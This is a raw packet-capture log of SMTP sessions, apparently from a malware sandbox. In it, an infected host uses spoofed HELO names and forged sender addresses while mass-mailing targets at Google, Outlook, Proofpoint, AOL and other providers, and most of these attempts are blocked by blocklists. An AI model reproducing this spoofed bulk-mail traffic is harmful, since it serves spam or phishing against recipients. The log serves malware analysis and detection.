Jan 7, 2022 15:55:15.551383972 CET	49866	25	192.168.2.3	193.239.68.121	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:55:15.600146055 CET	25	49866	193.239.68.121	192.168.2.3	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:55:15.600275040 CET	49866	25	192.168.2.3	193.239.68.121	QUIT
Jan 7, 2022 15:55:15.648951054 CET	25	49866	193.239.68.121	192.168.2.3	221 bst01.sputnikmedia.net closing connection
Jan 7, 2022 15:55:15.690907001 CET	25	49868	193.239.68.121	192.168.2.3	220 bst01.sputnikmedia.net ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:55:15 +0200
Jan 7, 2022 15:55:15.691082954 CET	49868	25	192.168.2.3	193.239.68.121	HELO mx3.bigmir.net
Jan 7, 2022 15:55:15.733513117 CET	25	49868	193.239.68.121	192.168.2.3	250 bst01.sputnikmedia.net Hello mx3.bigmir.net [102.129.143.96]
Jan 7, 2022 15:55:15.733686924 CET	49868	25	192.168.2.3	193.239.68.121	MAIL FROM: <gerhard.green@hotmail.com>
Jan 7, 2022 15:55:15.776721001 CET	25	49868	193.239.68.121	192.168.2.3	250 OK
Jan 7, 2022 15:55:15.776874065 CET	49868	25	192.168.2.3	193.239.68.121	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:55:15.820090055 CET	25	49868	193.239.68.121	192.168.2.3	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:55:15.820283890 CET	49868	25	192.168.2.3	193.239.68.121	QUIT
Jan 7, 2022 15:55:15.862819910 CET	25	49868	193.239.68.121	192.168.2.3	221 bst01.sputnikmedia.net closing connection
Jan 7, 2022 15:55:16.642935038 CET	25	49875	104.47.58.161	192.168.2.3	220 BN8NAM11FT045.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:55:16 +0000
Jan 7, 2022 15:55:16.643086910 CET	49875	25	192.168.2.3	104.47.58.161	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:55:16.746311903 CET	25	49875	104.47.58.161	192.168.2.3	250 BN8NAM11FT045.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:55:16.746455908 CET	49875	25	192.168.2.3	104.47.58.161	MAIL FROM: <secur@msn.com>
Jan 7, 2022 15:55:16.850291014 CET	25	49875	104.47.58.161	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN8NAM11FT045.eop-nam11.prod.protection.outlook.com]
Jan 7, 2022 15:55:16.850635052 CET	49875	25	192.168.2.3	104.47.58.161	QUIT
Jan 7, 2022 15:55:17.861531019 CET	25	49883	104.47.59.161	192.168.2.3	220 DM6NAM12FT004.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:55:16 +0000
Jan 7, 2022 15:55:17.861668110 CET	49883	25	192.168.2.3	104.47.59.161	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:55:17.993118048 CET	25	49883	104.47.59.161	192.168.2.3	250 DM6NAM12FT004.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:55:17.993535042 CET	49883	25	192.168.2.3	104.47.59.161	MAIL FROM: <helen.clark@gmail.com>
Jan 7, 2022 15:55:18.126060963 CET	25	49883	104.47.59.161	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [DM6NAM12FT004.eop-nam12.prod.protection.outlook.com]
Jan 7, 2022 15:55:18.126559973 CET	49883	25	192.168.2.3	104.47.59.161	QUIT
Jan 7, 2022 15:55:18.130506992 CET	25	49884	148.163.149.218	192.168.2.3	220 mx0a-0028be01.pphosted.com ESMTP mfa-m0175280
Jan 7, 2022 15:55:18.133394957 CET	49884	25	192.168.2.3	148.163.149.218	HELO mxa-0028be01.gslb.pphosted.com
Jan 7, 2022 15:55:18.326024055 CET	25	49884	148.163.149.218	192.168.2.3	250 mx0a-0028be01.pphosted.com Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:55:18.327522993 CET	49884	25	192.168.2.3	148.163.149.218	MAIL FROM: <serv@wxyz.com>
Jan 7, 2022 15:55:18.525027990 CET	25	49884	148.163.149.218	192.168.2.3	250 2.1.0 Sender ok
Jan 7, 2022 15:55:18.525168896 CET	49884	25	192.168.2.3	148.163.149.218	RCPT TO: <wagnerkd@wxyz.com>
Jan 7, 2022 15:55:18.720447063 CET	25	49884	148.163.149.218	192.168.2.3	250 2.1.5 Recipient ok
Jan 7, 2022 15:55:18.720603943 CET	49884	25	192.168.2.3	148.163.149.218	DATA
Jan 7, 2022 15:55:18.917632103 CET	25	49890	104.47.59.161	192.168.2.3	220 DM6NAM12FT008.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:55:18 +0000
Jan 7, 2022 15:55:18.919111013 CET	49890	25	192.168.2.3	104.47.59.161	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:55:19.011615992 CET	25	49884	148.163.149.218	192.168.2.3	354 Enter mail, end with "." on a line by itself
Jan 7, 2022 15:55:19.050551891 CET	25	49890	104.47.59.161	192.168.2.3	250 DM6NAM12FT008.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:55:19.050745010 CET	49890	25	192.168.2.3	104.47.59.161	MAIL FROM: <serv@msn.com>
Jan 7, 2022 15:55:19.183120966 CET	25	49890	104.47.59.161	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [DM6NAM12FT008.eop-nam12.prod.protection.outlook.com]
Jan 7, 2022 15:55:19.183444977 CET	49890	25	192.168.2.3	104.47.59.161	QUIT
Jan 7, 2022 15:55:20.100760937 CET	25	49896	108.177.127.27	192.168.2.3	220 mx.google.com ESMTP dm12si2571654ejc.951 - gsmtp
Jan 7, 2022 15:55:20.101645947 CET	49896	25	192.168.2.3	108.177.127.27	HELO aspmx.l.google.com
Jan 7, 2022 15:55:20.131798983 CET	25	49896	108.177.127.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:55:20.132085085 CET	49896	25	192.168.2.3	108.177.127.27	MAIL FROM: <jayson.harris@mail.lycos.com>
Jan 7, 2022 15:55:20.159394979 CET	25	49896	108.177.127.27	192.168.2.3	250 2.1.0 OK dm12si2571654ejc.951 - gsmtp
Jan 7, 2022 15:55:20.161489010 CET	49896	25	192.168.2.3	108.177.127.27	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:55:20.201580048 CET	25	49896	108.177.127.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser dm12si2571654ejc.951 - gsmtp
Jan 7, 2022 15:55:20.201740026 CET	49896	25	192.168.2.3	108.177.127.27	QUIT
Jan 7, 2022 15:55:20.308815002 CET	25	49897	142.250.150.27	192.168.2.3	220 mx.google.com ESMTP m19si6124206ljp.261 - gsmtp
Jan 7, 2022 15:55:20.308964014 CET	49897	25	192.168.2.3	142.250.150.27	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:55:20.324419022 CET	49884	25	192.168.2.3	148.163.149.218	.
Jan 7, 2022 15:55:20.324455023 CET	49884	25	192.168.2.3	148.163.149.218	QUIT
Jan 7, 2022 15:55:20.364197969 CET	25	49897	142.250.150.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:55:20.364430904 CET	49897	25	192.168.2.3	142.250.150.27	MAIL FROM: <jayson.harris@mail.lycos.com>
Jan 7, 2022 15:55:20.417067051 CET	25	49897	142.250.150.27	192.168.2.3	250 2.1.0 OK m19si6124206ljp.261 - gsmtp
Jan 7, 2022 15:55:20.417213917 CET	49897	25	192.168.2.3	142.250.150.27	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:55:20.485735893 CET	25	49897	142.250.150.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser m19si6124206ljp.261 - gsmtp
Jan 7, 2022 15:55:20.489654064 CET	49897	25	192.168.2.3	142.250.150.27	QUIT
Jan 7, 2022 15:55:20.511154890 CET	25	49884	148.163.149.218	192.168.2.3	550 5.7.0 Blocked - see https://ipcheck.proofpoint.com/?ip=102.129.143.96 221 2.0.0 mx0a-0028be01.pphosted.com Closing connection
Jan 7, 2022 15:55:20.521800041 CET	25	49898	104.47.51.33	192.168.2.3	220 BN1NAM02FT018.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:55:19 +0000
Jan 7, 2022 15:55:20.523185015 CET	49898	25	192.168.2.3	104.47.51.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:55:20.597242117 CET	25	49900	142.250.150.27	192.168.2.3	220 mx.google.com ESMTP bx30si6158094ljb.135 - gsmtp
Jan 7, 2022 15:55:20.598510981 CET	49900	25	192.168.2.3	142.250.150.27	HELO aspmx2.googlemail.com
Jan 7, 2022 15:55:20.626615047 CET	25	49898	104.47.51.33	192.168.2.3	250 BN1NAM02FT018.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:55:20.628550053 CET	49898	25	192.168.2.3	104.47.51.33	MAIL FROM: <george_1964@mail.aim.com>
Jan 7, 2022 15:55:20.653835058 CET	25	49900	142.250.150.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:55:20.656743050 CET	49900	25	192.168.2.3	142.250.150.27	MAIL FROM: <jayson.harris@mail.lycos.com>
Jan 7, 2022 15:55:20.709789038 CET	25	49900	142.250.150.27	192.168.2.3	250 2.1.0 OK bx30si6158094ljb.135 - gsmtp
Jan 7, 2022 15:55:20.709932089 CET	49900	25	192.168.2.3	142.250.150.27	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:55:20.732731104 CET	25	49898	104.47.51.33	192.168.2.3	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN1NAM02FT018.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:55:20.732857943 CET	49898	25	192.168.2.3	104.47.51.33	QUIT
Jan 7, 2022 15:55:20.773364067 CET	25	49900	142.250.150.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser bx30si6158094ljb.135 - gsmtp
Jan 7, 2022 15:55:20.775831938 CET	49900	25	192.168.2.3	142.250.150.27	QUIT
Jan 7, 2022 15:55:20.828828096 CET	25	49900	142.250.150.27	192.168.2.3	221 2.0.0 closing connection bx30si6158094ljb.135 - gsmtp
Jan 7, 2022 15:55:21.634263992 CET	25	49901	74.125.200.27	192.168.2.3	220 mx.google.com ESMTP t1si4753592pjv.124 - gsmtp
Jan 7, 2022 15:55:21.634572983 CET	49901	25	192.168.2.3	74.125.200.27	HELO alt2.aspmx.l.google.com
Jan 7, 2022 15:55:22.142760038 CET	25	49901	74.125.200.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:55:22.142877102 CET	49901	25	192.168.2.3	74.125.200.27	MAIL FROM: <jayson.harris@mail.lycos.com>
Jan 7, 2022 15:55:22.649048090 CET	25	49901	74.125.200.27	192.168.2.3	250 2.1.0 OK t1si4753592pjv.124 - gsmtp
Jan 7, 2022 15:55:22.649153948 CET	49901	25	192.168.2.3	74.125.200.27	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:55:23.164654970 CET	25	49901	74.125.200.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser t1si4753592pjv.124 - gsmtp
Jan 7, 2022 15:55:23.164774895 CET	49901	25	192.168.2.3	74.125.200.27	QUIT
Jan 7, 2022 15:55:23.176119089 CET	25	49903	67.195.228.86	192.168.2.3	220 mtaproxy129.aol.mail.gq1.yahoo.com ESMTP ready
Jan 7, 2022 15:55:23.176331043 CET	49903	25	192.168.2.3	67.195.228.86	HELO mx-aol.mail.gm0.yahoodns.net
Jan 7, 2022 15:55:23.342092037 CET	25	49903	67.195.228.86	192.168.2.3	250 mtaproxy129.aol.mail.gq1.yahoo.com
Jan 7, 2022 15:55:23.342271090 CET	49903	25	192.168.2.3	67.195.228.86	MAIL FROM: <sec@aol.com>
Jan 7, 2022 15:55:23.508553982 CET	25	49903	67.195.228.86	192.168.2.3	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:55:23.508694887 CET	49903	25	192.168.2.3	67.195.228.86	QUIT
Jan 7, 2022 15:55:24.015328884 CET	25	49904	74.125.200.27	192.168.2.3	220 mx.google.com ESMTP 202si5139356pgd.568 - gsmtp
Jan 7, 2022 15:55:24.016323090 CET	49904	25	192.168.2.3	74.125.200.27	HELO aspmx3.googlemail.com
Jan 7, 2022 15:55:24.476078987 CET	25	49905	67.195.228.86	192.168.2.3	220 mtaproxy125.aol.mail.gq1.yahoo.com ESMTP ready
Jan 7, 2022 15:55:24.476922989 CET	49905	25	192.168.2.3	67.195.228.86	HELO mx-aol.mail.gm0.yahoodns.net
Jan 7, 2022 15:55:24.522922039 CET	25	49904	74.125.200.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:55:24.523973942 CET	49904	25	192.168.2.3	74.125.200.27	MAIL FROM: <jayson.harris@mail.lycos.com>
Jan 7, 2022 15:55:24.641927004 CET	25	49905	67.195.228.86	192.168.2.3	250 mtaproxy125.aol.mail.gq1.yahoo.com
Jan 7, 2022 15:55:24.644959927 CET	49905	25	192.168.2.3	67.195.228.86	MAIL FROM: <bakernaizz@fastmail.fm>
Jan 7, 2022 15:55:24.810472965 CET	25	49905	67.195.228.86	192.168.2.3	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:55:25.017492056 CET	49905	25	192.168.2.3	67.195.228.86	QUIT
Jan 7, 2022 15:55:25.028150082 CET	25	49904	74.125.200.27	192.168.2.3	250 2.1.0 OK 202si5139356pgd.568 - gsmtp
Jan 7, 2022 15:55:25.028402090 CET	49904	25	192.168.2.3	74.125.200.27	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:55:25.540601015 CET	25	49904	74.125.200.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser 202si5139356pgd.568 - gsmtp
Jan 7, 2022 15:55:25.540697098 CET	49904	25	192.168.2.3	74.125.200.27	QUIT
Jan 7, 2022 15:55:32.577689886 CET	25	49906	193.239.68.121	192.168.2.3	220 bst01.sputnikmedia.net ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:55:32 +0200
Jan 7, 2022 15:55:32.577811956 CET	49906	25	192.168.2.3	193.239.68.121	HELO mx1.bigmir.net
Jan 7, 2022 15:55:32.620057106 CET	25	49906	193.239.68.121	192.168.2.3	250 bst01.sputnikmedia.net Hello mx1.bigmir.net [102.129.143.96]
Jan 7, 2022 15:55:32.620192051 CET	49906	25	192.168.2.3	193.239.68.121	MAIL FROM: <secur@bigmir.net>
Jan 7, 2022 15:55:32.663569927 CET	25	49906	193.239.68.121	192.168.2.3	250 OK
Jan 7, 2022 15:55:32.663711071 CET	49906	25	192.168.2.3	193.239.68.121	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:55:32.706914902 CET	25	49906	193.239.68.121	192.168.2.3	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:55:32.707106113 CET	49906	25	192.168.2.3	193.239.68.121	QUIT
Jan 7, 2022 15:55:32.749149084 CET	25	49906	193.239.68.121	192.168.2.3	221 bst01.sputnikmedia.net closing connection
Jan 7, 2022 15:55:32.805944920 CET	25	49907	193.239.68.121	192.168.2.3	220 bst01.sputnikmedia.net ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:55:32 +0200
Jan 7, 2022 15:55:32.806108952 CET	49907	25	192.168.2.3	193.239.68.121	HELO mx3.bigmir.net
Jan 7, 2022 15:55:32.854477882 CET	25	49907	193.239.68.121	192.168.2.3	250 bst01.sputnikmedia.net Hello mx3.bigmir.net [102.129.143.96]
Jan 7, 2022 15:55:32.854679108 CET	49907	25	192.168.2.3	193.239.68.121	MAIL FROM: <secur@bigmir.net>
Jan 7, 2022 15:55:32.902452946 CET	25	49907	193.239.68.121	192.168.2.3	250 OK
Jan 7, 2022 15:55:32.902626038 CET	49907	25	192.168.2.3	193.239.68.121	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:55:32.951666117 CET	25	49907	193.239.68.121	192.168.2.3	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:55:32.951818943 CET	49907	25	192.168.2.3	193.239.68.121	QUIT
Jan 7, 2022 15:55:32.999563932 CET	25	49907	193.239.68.121	192.168.2.3	221 bst01.sputnikmedia.net closing connection
Jan 7, 2022 15:55:34.988217115 CET	25	49909	35.82.253.27	192.168.2.3	220 inbound-trex-5 (trex/6.4.3) ESMTP ready
Jan 7, 2022 15:55:34.988410950 CET	49909	25	192.168.2.3	35.82.253.27	HELO mx1.mailchannels.net
Jan 7, 2022 15:55:35.186615944 CET	25	49909	35.82.253.27	192.168.2.3	250 inbound-trex-5
Jan 7, 2022 15:55:35.186830997 CET	49909	25	192.168.2.3	35.82.253.27	MAIL FROM: <den.white@goowy.com>
Jan 7, 2022 15:55:35.382795095 CET	25	49909	35.82.253.27	192.168.2.3	250 2.0.0 OK
Jan 7, 2022 15:55:35.382929087 CET	49909	25	192.168.2.3	35.82.253.27	RCPT TO: <an@xyz.com.br>
Jan 7, 2022 15:55:35.412246943 CET	25	49911	148.163.149.218	192.168.2.3	220 mx0a-0028be01.pphosted.com ESMTP mfa-m0175280
Jan 7, 2022 15:55:35.412419081 CET	49911	25	192.168.2.3	148.163.149.218	HELO mxa-0028be01.gslb.pphosted.com
Jan 7, 2022 15:55:35.609587908 CET	25	49911	148.163.149.218	192.168.2.3	250 mx0a-0028be01.pphosted.com Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:55:35.609698057 CET	49911	25	192.168.2.3	148.163.149.218	MAIL FROM: <sec@wxyz.com>
Jan 7, 2022 15:55:35.808425903 CET	25	49911	148.163.149.218	192.168.2.3	250 2.1.0 Sender ok
Jan 7, 2022 15:55:35.808558941 CET	49911	25	192.168.2.3	148.163.149.218	RCPT TO: <wagnerkd@wxyz.com>
Jan 7, 2022 15:55:36.005944014 CET	25	49911	148.163.149.218	192.168.2.3	250 2.1.5 Recipient ok
Jan 7, 2022 15:55:36.006118059 CET	49911	25	192.168.2.3	148.163.149.218	DATA
Jan 7, 2022 15:55:36.201951027 CET	25	49909	35.82.253.27	192.168.2.3	250 2.1.5 Ok
Jan 7, 2022 15:55:36.202838898 CET	49909	25	192.168.2.3	35.82.253.27	DATA
Jan 7, 2022 15:55:36.209878922 CET	25	49911	148.163.149.218	192.168.2.3	354 Enter mail, end with "." on a line by itself
Jan 7, 2022 15:55:36.403938055 CET	25	49909	35.82.253.27	192.168.2.3	354 OK
Jan 7, 2022 15:55:38.141896963 CET	49909	25	192.168.2.3	35.82.253.27	. QUIT
Jan 7, 2022 15:55:38.589476109 CET	25	49912	148.163.149.218	192.168.2.3	220 mx0a-0028be01.pphosted.com ESMTP pe-m0112885
Jan 7, 2022 15:55:38.589586973 CET	49912	25	192.168.2.3	148.163.149.218	HELO mxa-0028be01.gslb.pphosted.com
Jan 7, 2022 15:55:38.782026052 CET	25	49912	148.163.149.218	192.168.2.3	250 mx0a-0028be01.pphosted.com Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:55:38.785259962 CET	49912	25	192.168.2.3	148.163.149.218	MAIL FROM: <jeremy_2000@yahoo.com>
Jan 7, 2022 15:55:38.977289915 CET	25	49912	148.163.149.218	192.168.2.3	250 2.1.0 Sender ok
Jan 7, 2022 15:55:38.978820086 CET	49912	25	192.168.2.3	148.163.149.218	RCPT TO: <wagnerkd@wxyz.com>
Jan 7, 2022 15:55:39.134718895 CET	49911	25	192.168.2.3	148.163.149.218	. QUIT
Jan 7, 2022 15:55:39.171801090 CET	25	49912	148.163.149.218	192.168.2.3	250 2.1.5 Recipient ok
Jan 7, 2022 15:55:39.171972990 CET	49912	25	192.168.2.3	148.163.149.218	DATA
Jan 7, 2022 15:55:39.327327013 CET	25	49911	148.163.149.218	192.168.2.3	550 5.7.0 Blocked - see https://ipcheck.proofpoint.com/?ip=102.129.143.96 221 2.0.0 mx0a-0028be01.pphosted.com Closing connection
Jan 7, 2022 15:55:39.367836952 CET	25	49912	148.163.149.218	192.168.2.3	354 Enter mail, end with "." on a line by itself
Jan 7, 2022 15:55:39.401890039 CET	25	49909	35.82.253.27	192.168.2.3	250 2.0.0 Ok: queued as 4733E401FA 221 2.0.0 Bye
Jan 7, 2022 15:55:42.256486893 CET	49912	25	192.168.2.3	148.163.149.218	. QUIT
Jan 7, 2022 15:55:42.444972038 CET	25	49912	148.163.149.218	192.168.2.3	550 5.7.0 Blocked - see https://ipcheck.proofpoint.com/?ip=102.129.143.96 221 2.0.0 mx0a-0028be01.pphosted.com Closing connection
Jan 7, 2022 15:55:43.773051977 CET	25	49917	108.177.119.26	192.168.2.3	220 mx.google.com ESMTP w7si1155652ejz.420 - gsmtp
Jan 7, 2022 15:55:43.773221970 CET	49917	25	192.168.2.3	108.177.119.26	HELO aspmx.l.google.com
Jan 7, 2022 15:55:43.804223061 CET	25	49917	108.177.119.26	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:55:43.804373980 CET	49917	25	192.168.2.3	108.177.119.26	MAIL FROM: <serv@xyz.com>
Jan 7, 2022 15:55:43.831155062 CET	25	49917	108.177.119.26	192.168.2.3	250 2.1.0 OK w7si1155652ejz.420 - gsmtp
Jan 7, 2022 15:55:43.831274986 CET	49917	25	192.168.2.3	108.177.119.26	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:55:43.873228073 CET	25	49917	108.177.119.26	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser w7si1155652ejz.420 - gsmtp
Jan 7, 2022 15:55:43.873358965 CET	49917	25	192.168.2.3	108.177.119.26	QUIT
Jan 7, 2022 15:55:43.979393005 CET	25	49923	142.250.150.27	192.168.2.3	220 mx.google.com ESMTP x34si6500982lfu.110 - gsmtp
Jan 7, 2022 15:55:43.979517937 CET	49923	25	192.168.2.3	142.250.150.27	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:55:44.034710884 CET	25	49923	142.250.150.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:55:44.034820080 CET	49923	25	192.168.2.3	142.250.150.27	MAIL FROM: <serv@xyz.com>
Jan 7, 2022 15:55:44.040919065 CET	25	49915	35.82.253.27	192.168.2.3	220 inbound-trex-5 (trex/6.4.3) ESMTP ready
Jan 7, 2022 15:55:44.041030884 CET	49915	25	192.168.2.3	35.82.253.27	HELO mx1.mailchannels.net
Jan 7, 2022 15:55:44.088491917 CET	25	49923	142.250.150.27	192.168.2.3	250 2.1.0 OK x34si6500982lfu.110 - gsmtp
Jan 7, 2022 15:55:44.088603973 CET	49923	25	192.168.2.3	142.250.150.27	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:55:44.153270006 CET	25	49923	142.250.150.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser x34si6500982lfu.110 - gsmtp
Jan 7, 2022 15:55:44.153430939 CET	49923	25	192.168.2.3	142.250.150.27	QUIT
Jan 7, 2022 15:55:44.234846115 CET	25	49915	35.82.253.27	192.168.2.3	250 inbound-trex-5
Jan 7, 2022 15:55:44.237531900 CET	49915	25	192.168.2.3	35.82.253.27	MAIL FROM: <secur@xyz.com.br>
Jan 7, 2022 15:55:44.260689974 CET	25	49927	142.250.150.27	192.168.2.3	220 mx.google.com ESMTP w14si448206lfr.565 - gsmtp
Jan 7, 2022 15:55:44.260819912 CET	49927	25	192.168.2.3	142.250.150.27	HELO aspmx2.googlemail.com
Jan 7, 2022 15:55:44.265830040 CET	25	49928	142.250.150.27	192.168.2.3	220 mx.google.com ESMTP m17si5558735ljp.182 - gsmtp
Jan 7, 2022 15:55:44.266020060 CET	49928	25	192.168.2.3	142.250.150.27	HELO aspmx2.googlemail.com
Jan 7, 2022 15:55:44.315546989 CET	25	49927	142.250.150.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:55:44.315689087 CET	49927	25	192.168.2.3	142.250.150.27	MAIL FROM: <serv@xyz.com>
Jan 7, 2022 15:55:44.321069956 CET	25	49928	142.250.150.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:55:44.321219921 CET	49928	25	192.168.2.3	142.250.150.27	MAIL FROM: <secur@contoso.es>
Jan 7, 2022 15:55:44.368316889 CET	25	49927	142.250.150.27	192.168.2.3	250 2.1.0 OK w14si448206lfr.565 - gsmtp
Jan 7, 2022 15:55:44.368465900 CET	49927	25	192.168.2.3	142.250.150.27	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:55:44.373935938 CET	25	49928	142.250.150.27	192.168.2.3	250 2.1.0 OK m17si5558735ljp.182 - gsmtp
Jan 7, 2022 15:55:44.374119997 CET	49928	25	192.168.2.3	142.250.150.27	RCPT TO: <artes@contoso.es>
Jan 7, 2022 15:55:44.429590940 CET	25	49915	35.82.253.27	192.168.2.3	250 2.0.0 OK
Jan 7, 2022 15:55:44.429888964 CET	49915	25	192.168.2.3	35.82.253.27	RCPT TO: <an@xyz.com.br>
Jan 7, 2022 15:55:44.430126905 CET	25	49927	142.250.150.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser w14si448206lfr.565 - gsmtp
Jan 7, 2022 15:55:44.430243969 CET	49927	25	192.168.2.3	142.250.150.27	QUIT
Jan 7, 2022 15:55:44.434776068 CET	25	49928	142.250.150.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser m17si5558735ljp.182 - gsmtp
Jan 7, 2022 15:55:44.434926987 CET	49928	25	192.168.2.3	142.250.150.27	QUIT
Jan 7, 2022 15:55:44.483808994 CET	25	49927	142.250.150.27	192.168.2.3	221 2.0.0 closing connection w14si448206lfr.565 - gsmtp
Jan 7, 2022 15:55:44.635966063 CET	25	49915	35.82.253.27	192.168.2.3	250 2.1.5 Ok
Jan 7, 2022 15:55:44.636718988 CET	49915	25	192.168.2.3	35.82.253.27	DATA
Jan 7, 2022 15:55:44.833992004 CET	25	49915	35.82.253.27	192.168.2.3	354 OK
Jan 7, 2022 15:55:45.278814077 CET	25	49939	74.125.200.27	192.168.2.3	220 mx.google.com ESMTP x22si4732999pfa.62 - gsmtp
Jan 7, 2022 15:55:45.278990984 CET	49939	25	192.168.2.3	74.125.200.27	HELO alt2.aspmx.l.google.com
Jan 7, 2022 15:55:45.778424978 CET	25	49939	74.125.200.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:55:45.780828953 CET	49939	25	192.168.2.3	74.125.200.27	MAIL FROM: <serv@xyz.com>
Jan 7, 2022 15:55:46.281693935 CET	25	49939	74.125.200.27	192.168.2.3	250 2.1.0 OK x22si4732999pfa.62 - gsmtp
Jan 7, 2022 15:55:46.285614967 CET	49939	25	192.168.2.3	74.125.200.27	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:55:46.469310999 CET	25	49926	35.82.253.27	192.168.2.3	220 inbound-trex-4 (trex/6.4.3) ESMTP ready
Jan 7, 2022 15:55:46.469532967 CET	49926	25	192.168.2.3	35.82.253.27	HELO mx1.mailchannels.net
Jan 7, 2022 15:55:46.659811974 CET	25	49926	35.82.253.27	192.168.2.3	250 inbound-trex-4
Jan 7, 2022 15:55:46.661875010 CET	49926	25	192.168.2.3	35.82.253.27	MAIL FROM: <serv@xyz.com.br>
Jan 7, 2022 15:55:46.796601057 CET	25	49939	74.125.200.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser x22si4732999pfa.62 - gsmtp
